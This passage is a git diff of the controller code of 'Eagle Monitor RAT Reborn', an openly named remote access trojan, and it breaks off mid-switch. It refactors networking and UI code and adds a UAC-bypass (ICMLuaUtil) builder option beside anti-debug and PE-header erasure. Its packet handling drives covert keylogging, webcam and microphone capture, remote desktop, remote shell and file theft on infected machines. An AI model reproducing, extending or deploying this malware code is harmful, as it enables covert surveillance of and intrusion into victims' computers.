+ //
// MainForm
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
@@ -2503,7 +2539,6 @@ private void InitializeComponent()
private System.Windows.Forms.ToolStripMenuItem clientToolStripMenuItem;
private Controls.CustomContextMenuStrip clientContextMenuStrip;
private System.Windows.Forms.ToolStripMenuItem closeToolStripMenuItem;
- private System.Windows.Forms.Label portLabel;
private System.Windows.Forms.PictureBox githubPictureBox;
private System.Windows.Forms.DataGridViewTextBoxColumn Column11;
private System.Windows.Forms.DataGridViewTextBoxColumn Column12;
@@ -2598,6 +2633,9 @@ private void InitializeComponent()
private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox3;
public Guna.UI2.WinForms.Guna2CheckBox erasePEHeadersGuna2CheckBox;
public Guna.UI2.WinForms.Guna2CheckBox antiDebugGuna2CheckBox;
+ public Guna.UI2.WinForms.Guna2CheckBox bypassICMLuaUtilGuna2CheckBox;
+ public System.Windows.Forms.Label totalClientLabel;
+ public System.Windows.Forms.Label portLabel;
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.cs
index 15861d38..fe2afaf0 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.cs
@@ -27,6 +27,7 @@ public MainForm()
private void MainForm_Load(object sender, EventArgs e)
{
+ this.SuspendLayout();
this.clientDataGridView.EnableHeadersVisualStyles = false;
this.clientDataGridView.ClearSelection();
@@ -41,63 +42,50 @@ private void MainForm_Load(object sender, EventArgs e)
new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.clientDataGridView, this.guna2VScrollBar1, true);
new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.logsDataGridView, this.guna2VScrollBar2, true);
- this.Text = $"[Beta] EM-RAT Reborn V{Misc.Utils.CoreAssembly.Version} By Arsium - [После нас - тишина]";
+ this.Text = $"[Beta] EM-RAT Reborn V{Misc.Utils.CoreAssembly.Version} By Arsium - [Nullum crimen sine lege]";
this.versionLabel.Text = this.Text;
+ Eagle_Monitor_RAT_Reborn.Controls.Utils.SetTotalClients();
- ImageList tabImageList = new ImageList
+ Eagle_Monitor_RAT_Reborn.Controls.Utils.SetTabImage(this.mainGuna2TabControl, new Icon[]
{
- ColorDepth = ColorDepth.Depth32Bit,
- ImageSize = new Size(28, 28)
- };
- tabImageList.Images.Add(Properties.Resources.icons8_user);
- tabImageList.Images.Add(Properties.Resources.icons8_wrench);
- tabImageList.Images.Add(Properties.Resources.icons8_mail);//icons8_parcel
- tabImageList.Images.Add(Properties.Resources.icons8_index);
- tabImageList.Images.Add(Properties.Resources.icons8_settings);
- tabImageList.Images.Add(Properties.Resources.icons8_schedule_mail);
-
- this.mainGuna2TabControl.ImageList = tabImageList;
- this.tabPage1.ImageIndex = 0;
- this.tabPage2.ImageIndex = 1;
- this.tabPage3.ImageIndex = 2;
- this.tabPage4.ImageIndex = 3;
- this.tabPage5.ImageIndex = 4;
- this.tabPage10.ImageIndex = 5;
-
- ImageList tabImageListTasks = new ImageList
+ Properties.Resources.icons8_user,
+ Properties.Resources.icons8_wrench,
+ Properties.Resources.icons8_mail,
+ Properties.Resources.icons8_index,
+ Properties.Resources.icons8_settings,
+ Properties.Resources.icons8_schedule_mail
+ });
+
+ Eagle_Monitor_RAT_Reborn.Controls.Utils.SetTabImage(this.onConnectGuna2TabControl, new Icon[]
{
- ColorDepth = ColorDepth.Depth32Bit,
- ImageSize = new Size(28, 28)
- };
+ Properties.Resources.icons8_todo_list,
+ Properties.Resources.icons8_create
+ });
- tabImageListTasks.Images.Add(Properties.Resources.icons8_todo_list);
- tabImageListTasks.Images.Add(Properties.Resources.icons8_create);
- this.onConnectGuna2TabControl.ImageList = tabImageListTasks;
- this.tabPage11.ImageIndex = 0;
- this.tabPage12.ImageIndex = 1;
-
-
- ImageList tabImageListClient = new ImageList
+ Eagle_Monitor_RAT_Reborn.Controls.Utils.SetTabImage(this.builderGuna2TabControl, new Icon[]
{
- ColorDepth = ColorDepth.Depth32Bit,
- ImageSize = new Size(28, 28)
- };
- tabImageListClient.Images.Add(Properties.Resources.icons8_signal);
- tabImageListClient.Images.Add(Properties.Resources.icons8_categorize);
- tabImageListClient.Images.Add(Properties.Resources.icons8_new_property);
- tabImageListClient.Images.Add(Properties.Resources.icons8_advanced_search);
- tabImageListClient.Images.Add(Properties.Resources.icons8_Tools);
-
- this.builderGuna2TabControl.ImageList = tabImageListClient;
- this.tabPage6.ImageIndex = 0;
- this.tabPage7.ImageIndex = 1;
- this.tabPage8.ImageIndex = 2;
- this.tabPage13.ImageIndex = 3;
- this.tabPage9.ImageIndex = 4;
+ Properties.Resources.icons8_signal,
+ Properties.Resources.icons8_categorize,
+ Properties.Resources.icons8_new_property,
+ Properties.Resources.icons8_remote_desktop,
+ Properties.Resources.icons8_advanced_search,
+ Properties.Resources.icons8_Tools
+ });
+ this.ResumeLayout();
}
private void MainForm_Shown(object sender, EventArgs e)
{
+ Misc.Utils.ReadSettings();
+ Misc.Utils.StartServers();
+ this.portLabel.Text = "Listening on : { ";
+ foreach (int p in Program.settings.ports)
+ {
+ this.portLabel.Text += p.ToString() + ", ";
+ }
+ this.portLabel.Text = this.portLabel.Text.Remove(this.portLabel.Text.Length - 2, 2);
+ this.portLabel.Text += " }";
+
try
{
using (HttpRequest httpRequest = new HttpRequest())
@@ -107,8 +95,8 @@ private void MainForm_Shown(object sender, EventArgs e)
httpRequest.ConnectTimeout = 5000;
string request = httpRequest.Get("https://api.github.com/repos/arsium/EagleMonitorRAT/releases").ToString();
- List json = JsonConvert.DeserializeObject>(request);
- foreach (Misc.GitHubAPI gitHubAPI in json)
+ List json = JsonConvert.DeserializeObject>(request);
+ foreach (GitHubAPI gitHubAPI in json)
{
this.updateLogRichTextBox.SelectionColor = Color.FromArgb(197, 66, 245);
this.updateLogRichTextBox.AppendText("Version : " + gitHubAPI.tag_name + "\n\n");
@@ -131,18 +119,6 @@ private void MainForm_Shown(object sender, EventArgs e)
this.updateLogRichTextBox.SelectionColor = Color.Red;
this.updateLogRichTextBox.AppendText(ex.ToString());
}
- finally
- {
- Misc.Utils.ReadSettings();
- Misc.Utils.StartServers();
- this.portLabel.Text = "Listening on : { ";
- foreach (int p in Program.settings.ports)
- {
- this.portLabel.Text += p.ToString() + ", ";
- }
- this.portLabel.Text = this.portLabel.Text.Remove(this.portLabel.Text.Length - 2, 2);
- this.portLabel.Text += " }";
- }
}
private void closeGuna2ControlBox_Click(object sender, EventArgs e)
@@ -150,7 +126,7 @@ private void closeGuna2ControlBox_Click(object sender, EventArgs e)
Misc.Utils.SaveSettings();
if(this.logsDataGridView.Rows.Count > 0)
Misc.Utils.SaveLogs(this.logsDataGridView);
- Misc.Imports.NtTerminateProcess((IntPtr)(-1), 0);
+ Imports.NtTerminateProcess((IntPtr)(-1), 0);
}
private void logoPictureBox_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e)
@@ -239,7 +215,7 @@ private void closeToolStripMenuItem_Click(object sender, EventArgs e)
foreach (DataGridViewRow row in clientDataGridView.SelectedRows)
{
string IP = row.Cells[2].Value.ToString();
- ClientHandler.ClientHandlersList[IP].SendPacket(closePacket);
+ ClientHandler.StartSendData(ClientHandler.ClientHandlersList[IP], closePacket);
}
}
@@ -249,7 +225,7 @@ private void closeUninstallToolStripMenuItem_Click(object sender, EventArgs e)
foreach (DataGridViewRow row in clientDataGridView.SelectedRows)
{
string IP = row.Cells[2].Value.ToString();
- ClientHandler.ClientHandlersList[IP].SendPacket(uninstallPacket);
+ ClientHandler.StartSendData(ClientHandler.ClientHandlersList[IP], uninstallPacket);
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.resx b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.resx
index f807b27f..e3ef66ba 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.resx
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.resx
@@ -202,6 +202,9 @@
True
+
+ 394, 17
+
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/Utils.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/Utils.cs
index 89758909..88d84331 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/Utils.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/Utils.cs
@@ -4,6 +4,7 @@
using System.Runtime.InteropServices;
using System.Windows.Forms;
using Eagle_Monitor_RAT_Reborn.Network;
+using Guna.UI2.WinForms;
/*
|| AUTHOR Arsium ||
@@ -45,18 +46,18 @@ internal static void InitiateForm(ClientHandler clientHandler)
{
try
{
- clientHandler.clientForm.Show();
- clientHandler.clientForm.BringToFront();
+ clientHandler.ClientForm.Show();
+ clientHandler.ClientForm.BringToFront();
}
catch (Exception)
{
- clientHandler.clientForm = new ClientForm(clientHandler);
- clientHandler.clientForm.Show();
+ clientHandler.ClientForm = new ClientForm(clientHandler);
+ clientHandler.ClientForm.Show();
}
finally
{
- clientHandler.clientForm.Text = $"Client : {clientHandler.fullName}";
- clientHandler.clientForm.clientLabel.Text = $"Client : {clientHandler.fullName}";
+ clientHandler.ClientForm.Text = $"Client : {clientHandler.FullName}";
+ clientHandler.ClientForm.clientLabel.Text = $"Client : {clientHandler.FullName}";
}
}
@@ -64,5 +65,37 @@ internal static Image ResizeImage(Image imgToResize, Size size)
{
return (Image)(new Bitmap(imgToResize, size));
}
+
+ internal static void SetTabImage(Guna2TabControl guna2TabControl, Icon[] icons)
+ {
+ ImageList imageList = new ImageList
+ {
+ ColorDepth = ColorDepth.Depth32Bit,
+ ImageSize = new Size(28, 28)
+ };
+
+ foreach(Icon icon in icons)
+ {
+ imageList.Images.Add(icon);
+ }
+
+ guna2TabControl.ImageList = imageList;
+
+ for(int i = 0; i < guna2TabControl.TabCount; i++)
+ {
+ guna2TabControl.TabPages[i].ImageIndex = i;
+ }
+ }
+
+ internal static void SetTotalClients()
+ {
+ lock (Program.mainForm.totalClientLabel)
+ {
+ Program.mainForm.totalClientLabel.Invoke((MethodInvoker)(() =>
+ {
+ Program.mainForm.totalClientLabel.Text = $"Total Clients : {ClientHandler.CurrentClientsNumber}";
+ }));
+ }
+ }
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Eagle Monitor RAT Reborn.csproj b/Remote Access Tool/Eagle Monitor RAT Reborn/Eagle Monitor RAT Reborn.csproj
index b9f9263c..5df254ea 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/Eagle Monitor RAT Reborn.csproj
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Eagle Monitor RAT Reborn.csproj
@@ -78,6 +78,9 @@
eagle2.ico
+
+ true
+
DLLs\dnlib.dll
@@ -157,15 +160,16 @@
-
+
-
-
+
+
-
-
-
+
+
+
+
@@ -236,6 +240,8 @@
+
+
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Logo/eagle256x256.png b/Remote Access Tool/Eagle Monitor RAT Reborn/Logo/eagle256x256.png
new file mode 100644
index 00000000..18f36dbd
Binary files /dev/null and b/Remote Access Tool/Eagle Monitor RAT Reborn/Logo/eagle256x256.png differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Utils.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Utils.cs
index fb7a6349..cb533d8c 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Utils.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Utils.cs
@@ -202,8 +202,7 @@ internal static void StartServers()
{
new Thread(() =>
{
- ServerHandler s = new ServerHandler();
- s.Listen(p);
+ new ServerHandler(p);
}).Start();
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/ClientHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/ClientHandler.cs
index 779d3a39..cdaaa91a 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/ClientHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/ClientHandler.cs
@@ -18,76 +18,76 @@ namespace Eagle_Monitor_RAT_Reborn.Network
{
internal class ClientHandler : IDisposable
{
+ static ClientHandler()
+ {
+ ClientHandlersList = new Dictionary();
+ readDataAsync = new ReadDataAsync(ReceiveData);
+ parsePacketAsync = new ParsePacketAsync(ParsePacket);
+ sendDataAsync = new SendDataAsync(SendData);
+ }
+
internal static Dictionary ClientHandlersList { get; set; }
internal static int CurrentClientsNumber { get { return ClientHandlersList.Count; } }
+ private static readonly ReadDataAsync readDataAsync;
+ private static readonly ParsePacketAsync parsePacketAsync;
+ private static readonly SendDataAsync sendDataAsync;
+
+ private delegate byte[] ReadDataAsync(ClientHandler clientHandler);
+ private delegate IPacket ParsePacketAsync(byte[] BufferPacket);
+ private delegate IPacket SendDataAsync(ClientHandler clientHandler, IPacket data);
+
internal static void SendPacketToMultipleClients(IPacket packet)
{
foreach (DataGridViewRow dataGridViewRow in Program.mainForm.clientDataGridView.SelectedRows)
{
- string IP = dataGridViewRow.Cells[2].Value.ToString();
- ClientHandler.ClientHandlersList[IP].SendPacket(packet);
+ StartSendData(ClientHandler.ClientHandlersList[dataGridViewRow.Cells[2].Value.ToString()], packet);
}
}
- static ClientHandler()
- {
- ClientHandlersList = new Dictionary();
- }
-
-
- internal delegate byte[] ReadDataAsync();
- internal delegate IPacket ReadPacketAsync(byte[] BufferPacket);
- internal delegate IPacket SendDataAsync(IPacket data);
-
- private readonly ReadDataAsync readDataAsync;
- private readonly ReadPacketAsync readPacketAsync;
- internal readonly SendDataAsync sendDataAsync;
-
- internal Socket socket { get; set; }
+ #region "Non Static"
+ internal Socket Socket { get; set; }
internal string IP { get; set; }
internal string HWID { get; set; }
- internal string fullName { get; set; }
- internal DataGridViewRow clientRow { get; set; }
- internal int serverPort { get; set; }
- internal string clientPath { get; set; }
- internal string clientStatus { get; set; }
- internal bool is64bitClient { get; set; }
- internal bool isAdmin { get; set; }
- internal EncryptionInformation encryptionInformation { get; set; }
-
- internal ClientForm clientForm { get; set; }
- internal long totalBytesReceived { get; set; }
- internal long totalBytesSent { get; set; }
-
- internal ClientHandler(Socket sock, int port)
+ internal string FullName { get; set; }
+ internal DataGridViewRow ClientRow { get; set; }
+ internal int ServerPort { get; set; }
+ internal string ClientPath { get; set; }
+ internal string ClientStatus { get; set; }
+ internal bool Is64bitClient { get; set; }
+ internal bool IsAdmin { get; set; }
+ internal EncryptionInformation EncryptionInformation { get; set; }
+
+ internal ClientForm ClientForm { get; set; }
+ internal long TotalBytesReceived { get; set; }
+ internal long TotalBytesSent { get; set; }
+
+ internal ClientHandler(Socket sock, int port) : base()
{
- readDataAsync = new ReadDataAsync(ReceiveData);
- readPacketAsync = new ReadPacketAsync(PacketParser);
- sendDataAsync = new SendDataAsync(SendData);
- this.socket = sock;
- this.IP = socket.RemoteEndPoint.ToString();
- this.serverPort = port;
- Receive();
+ this.Socket = sock;
+ this.IP = Socket.RemoteEndPoint.ToString();
+ this.ServerPort = port;
+ StartReceiveData(this);
}
-
- internal void Receive()
+ #endregion
+ #region "Receive"
+ private static void StartReceiveData(ClientHandler clientHandler)
{
- if (socket != null)
- readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null);
+ if (clientHandler.Socket != null)
+ readDataAsync.BeginInvoke(clientHandler, new AsyncCallback(EndReceiveData), clientHandler);
else
return;
}
- private byte[] ReceiveData()
+ private static byte[] ReceiveData(ClientHandler clientHandler)
{
try
{
int total = 0;
int recv;
byte[] header = new byte[5];
- socket.Poll(-1, SelectMode.SelectRead);
- recv = socket.Receive(header, 0, 5, 0);
+ clientHandler.Socket.Poll(-1, SelectMode.SelectRead);
+ recv = clientHandler.Socket.Receive(header, 0, 5, 0);
int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0);
PacketType packetType = (PacketType)header[4];
@@ -96,7 +96,7 @@ private byte[] ReceiveData()
byte[] data = new byte[size];
while (total < size)
{
- recv = socket.Receive(data, total, dataleft, 0);
+ recv = clientHandler.Socket.Receive(data, total, dataleft, 0);
total += recv;
dataleft -= recv;
}
@@ -104,111 +104,166 @@ private byte[] ReceiveData()
}
catch (Exception ex)
{
- SocketException sockError = ex as SocketException;
- if (sockError != null)
- this.Dispose();
+ if (ex is SocketException)
+ clientHandler.Dispose();
return null;
+ /*SocketException sockError = ex as SocketException;
+ if (sockError != null)
+ clientHandler.Dispose();
+ return null;*/
}
}
- private void EndDataRead(IAsyncResult ar)
+ private static void EndReceiveData(IAsyncResult ar)
{
byte[] data = readDataAsync.EndInvoke(ar);
+ ClientHandler clientHandler = (ClientHandler)ar.AsyncState;
if (data != null && data.Length > 0)
- readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null);
+ StartParsePacket(data, clientHandler);
- if (socket != null)
- Receive();
+ if (clientHandler.Socket != null)
+ StartReceiveData(clientHandler);
+ }
+ #endregion
+ #region "Parser"
+ private static void StartParsePacket(byte[] data, ClientHandler clientHandler)
+ {
+ parsePacketAsync.BeginInvoke(data, new AsyncCallback(EndParsePacket), clientHandler);
}
- private IPacket PacketParser(byte[] BufferPacket)
+ private static IPacket ParsePacket(byte[] BufferPacket)
{
IPacket packet = BufferPacket.DeserializePacket(Program.settings.key);
- packet.packetSize = BufferPacket.Length;
+ packet.PacketSize = BufferPacket.Length;
return packet;
}
- private void EndPacketRead(IAsyncResult ar)
+ private static void EndParsePacket(IAsyncResult ar)
{
- IPacket packet = readPacketAsync.EndInvoke(ar);
-
+ IPacket packet = parsePacketAsync.EndInvoke(ar);
+ ClientHandler clientHandler = (ClientHandler)ar.AsyncState;
+ /* if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)//!!! if password recovery tasks and similar
+ {*/
if (packet != null)
{
- switch (packet.packetType)
+ switch (packet.PacketType)
{
case PacketType.CONNECTED:
lock (ClientHandlersList)
{
- ClientHandlersList.Add(this.IP, this);
+ ClientHandlersList.Add(clientHandler.IP, clientHandler);
+ Controls.Utils.SetTotalClients();
}
- new PacketHandler(packet, this);
+ //new PacketHandler(packet, this);
+ PacketHandler.StartHandlePacket(packet, clientHandler);
break;
case PacketType.RM_VIEW_ON:
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteDesktopHandler.clientHandler = this;
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteDesktopHandler.clientHandler.HWID = packet.HWID;
- new PacketHandler(packet, this);
+ if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)//we could even receive packet after closing form
+ {
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler.ClientHandler = clientHandler;
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler.ClientHandler.HWID = packet.HWID;
+ PacketHandler.StartHandlePacket(packet, clientHandler);
+ }
break;
case PacketType.RC_CAPTURE_ON:
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteWebCamHandler.clientHandler = this;
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteWebCamHandler.clientHandler.HWID = packet.HWID;
- new PacketHandler(packet, this);
+ if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)
+ {
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler.ClientHandler = clientHandler;
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler.ClientHandler.HWID = packet.HWID;
+ PacketHandler.StartHandlePacket(packet, clientHandler);
+ }
break;
case PacketType.AUDIO_RECORD_ON:
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteMicrophoneHandler.clientHandler = this;
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteMicrophoneHandler.clientHandler.HWID = packet.HWID;
- new PacketHandler(packet, this);
+ if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)
+ {
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler.ClientHandler = clientHandler;
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler.ClientHandler.HWID = packet.HWID;
+ PacketHandler.StartHandlePacket(packet, clientHandler);
+ }
break;
case PacketType.KEYLOG_ON:
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.keyloggerHandler.clientHandler = this;
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.keyloggerHandler.clientHandler.HWID = packet.HWID;
- new PacketHandler(packet, this);
+ if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)
+ {
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler.ClientHandler = clientHandler;
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler.ClientHandler.HWID = packet.HWID;
+ PacketHandler.StartHandlePacket(packet, clientHandler);
+ }
+ //new PacketHandler(packet, this);
break;
case PacketType.FM_DOWNLOAD_FILE:
- new PacketHandler(packet, this);
+ if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)
+ {
+ PacketHandler.StartHandlePacket(packet, clientHandler);
+ }
+ // new PacketHandler(packet, this);
break;
case PacketType.CHAT_ON:
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.chatHandler.clientHandler = this;
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.chatHandler.clientHandler.HWID = packet.HWID;
- new PacketHandler(packet, this);
+ if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)
+ {
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler.ClientHandler = clientHandler;
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler.ClientHandler.HWID = packet.HWID;
+ PacketHandler.StartHandlePacket(packet, clientHandler);
+ }
break;
case PacketType.SHELL_START:
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteShellHandler.clientHandler = this;
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteShellHandler.clientHandler.HWID = packet.HWID;
- new PacketHandler(packet, this);
+ if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)
+ {
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.ClientHandler = clientHandler;
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.ClientHandler.HWID = packet.HWID;
+ PacketHandler.StartHandlePacket(packet, clientHandler);
+ }
break;
case PacketType.SHELL_COMMAND:
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteShellHandler.clientHandler = this;
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteShellHandler.clientHandler.HWID = packet.HWID;
- new PacketHandler(packet, this);
+ if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)
+ {
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.ClientHandler = clientHandler;
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.ClientHandler.HWID = packet.HWID;
+ PacketHandler.StartHandlePacket(packet, clientHandler);
+ }
break;
default:
- new PacketHandler(packet, ClientHandler.ClientHandlersList[packet.baseIp]);
- this.Dispose();
+ PacketHandler.StartHandlePacket(packet, ClientHandler.ClientHandlersList[packet.BaseIp]);
+ clientHandler.Dispose();
break;
}
}
}
-
- internal void SendPacket(IPacket packet)
+ #endregion
+ #region "Send"
+ internal static void StartSendData(ClientHandler clientHandler, IPacket packet)
{
- packet.HWID = this.HWID;
- if(packet.packetType != PacketType.RM_VIEW_OFF && packet.packetType != PacketType.RC_CAPTURE_OFF && packet.packetType != PacketType.AUDIO_RECORD_OFF && packet.packetType != PacketType.KEYLOG_OFF && packet.packetType != PacketType.CHAT_OFF && packet.packetType != PacketType.SHELL_STOP)
- packet.baseIp = this.IP;
-
- if (socket != null)
- sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null);
+ packet.HWID = clientHandler.HWID;
+ if( packet.PacketType != PacketType.RM_VIEW_OFF
+ && packet.PacketType != PacketType.RM_VIEW_ON
+ && packet.PacketType != PacketType.RM_MOUSE
+ && packet.PacketType != PacketType.RM_KEYBOARD
+ && packet.PacketType != PacketType.RC_CAPTURE_OFF
+ && packet.PacketType != PacketType.RC_CAPTURE_ON
+ && packet.PacketType != PacketType.AUDIO_RECORD_OFF
+ && packet.PacketType != PacketType.AUDIO_RECORD_ON
+ && packet.PacketType != PacketType.KEYLOG_OFF
+ && packet.PacketType != PacketType.KEYLOG_ON
+ && packet.PacketType != PacketType.CHAT_OFF
+ && packet.PacketType != PacketType.CHAT_ON
+ && packet.PacketType != PacketType.SHELL_STOP
+ && packet.PacketType != PacketType.SHELL_COMMAND
+ )
+ packet.BaseIp = clientHandler.IP;
+
+ if (clientHandler.Socket != null)
+ sendDataAsync.BeginInvoke(clientHandler, packet, new AsyncCallback(EndSendData), clientHandler);
}
- private IPacket SendData(IPacket data)
+ private static IPacket SendData(ClientHandler clientHandler, IPacket data)
{
byte[] encryptedData = data.SerializePacket(Program.settings.key);
@@ -218,20 +273,20 @@ private IPacket SendData(IPacket data)
byte[] header = new byte[5];
byte[] temp = BitConverter.GetBytes(size);
- data.packetSize = size;
+ data.PacketSize = size;
header[0] = temp[0];
header[1] = temp[1];
header[2] = temp[2];
header[3] = temp[3];
- header[4] = (byte)data.packetType;
+ header[4] = (byte)data.PacketType;
- lock (socket)
+ lock (clientHandler.Socket)
{
try
{
- socket.Poll(-1, SelectMode.SelectWrite);
- int sent = socket.Send(header);
+ clientHandler.Socket.Poll(-1, SelectMode.SelectWrite);
+ int sent = clientHandler.Socket.Send(header);
if (size > 1000000)
{
@@ -242,7 +297,7 @@ private IPacket SendData(IPacket data)
byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{
- socket.Send(chunk, 0, read, SocketFlags.None);
+ clientHandler.Socket.Send(chunk, 0, read, SocketFlags.None);
}
}
}
@@ -250,199 +305,185 @@ private IPacket SendData(IPacket data)
{
while (total < size)
{
- sent = socket.Send(encryptedData, total, size, SocketFlags.None);
+ sent = clientHandler.Socket.Send(encryptedData, total, size, SocketFlags.None);
total += sent;
datalft -= sent;
}
}
- data.packetState = PacketState.SENT;
-
+ data.PacketState = PacketState.SENT;
}
catch (Exception ex)
{
- data.packetState = PacketState.NOT_SENT;
- data.status = ex.Message;
- SocketException sockError = ex as SocketException;
- if (sockError != null)
- this.Dispose();
+ data.PacketState = PacketState.NOT_SENT;
+ data.Status = ex.Message;
+ if (ex is SocketException)
+ clientHandler.Dispose();
+ /* data.packetState = PacketState.NOT_SENT;
+ data.status = ex.Message;
+ SocketException sockError = ex as SocketException;
+ if (sockError != null)
+ clientHandler.Dispose();*/
}
}
return data;
}
- private void SendDataCompleted(IAsyncResult ar)
+ private static void EndSendData(IAsyncResult ar)
{
IPacket packet = sendDataAsync.EndInvoke(ar);
+ ClientHandler clientHandler = (ClientHandler)ar.AsyncState;
+ IAsyncResult result;
- packet.datePacketStatus = DateTime.Now.ToString();
-
- string size = Misc.Utils.Numeric2Bytes(packet.packetSize);
-
- IAsyncResult result = Program.mainForm.logsDataGridView.BeginInvoke((MethodInvoker)(() =>
- {
- int rowId = Program.mainForm.logsDataGridView.Rows.Add();
- DataGridViewRow row = Program.mainForm.logsDataGridView.Rows[rowId];
- row.Cells["Column11"].Value = packet.HWID;
- row.Cells["Column12"].Value = packet.baseIp;
- row.Cells["Column13"].Value = packet.packetType.ToString();
- row.Cells["Column14"].Style.ForeColor = Color.FromArgb(66, 182, 245);
- row.Cells["Column14"].Value = packet.packetState;
- row.Cells["Column15"].Value = packet.datePacketStatus;
- row.Cells["Column17"].Value = size;
-
- if (packet.packetState == PacketState.NOT_SENT)
- {
- row.Cells["Column16"].Value = packet.status;
- return;
- }
- else
- {
- switch (packet.packetType)
- {
- case PacketType.FM_DOWNLOAD_FILE:
- row.Cells["Column16"].Value = ((DownloadFilePacket)packet).fileName;
- break;
-
- case PacketType.FM_DELETE_FILE:
- row.Cells["Column16"].Value = ((DeleteFilePacket)packet).path;
- break;
-
- case PacketType.FM_START_FILE:
- row.Cells["Column16"].Value = ((StartFilePacket)packet).filePath;
- break;
-
- case PacketType.FM_GET_FILES_AND_DIRS:
- row.Cells["Column16"].Value = ((FileManagerPacket)packet).path;
- break;
- }
- }
- Program.mainForm.logsDataGridView.ClearSelection();
- Program.mainForm.logsDataGridView.CurrentCell = null;
+ packet.DatePacketStatus = DateTime.Now.ToString();
- }));
- Program.mainForm.logsDataGridView.EndInvoke(result);
+ string size = Misc.Utils.Numeric2Bytes(packet.PacketSize);
- switch (packet.packetType)
+ switch (packet.PacketType)
{
case PacketType.RM_VIEW_OFF:
- lock (ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteDesktopHandler)
+ lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler)
{
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteDesktopHandler.Dispose();
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteDesktopHandler = null;
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler.Dispose();
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler = null;
}
break;
case PacketType.RC_CAPTURE_OFF:
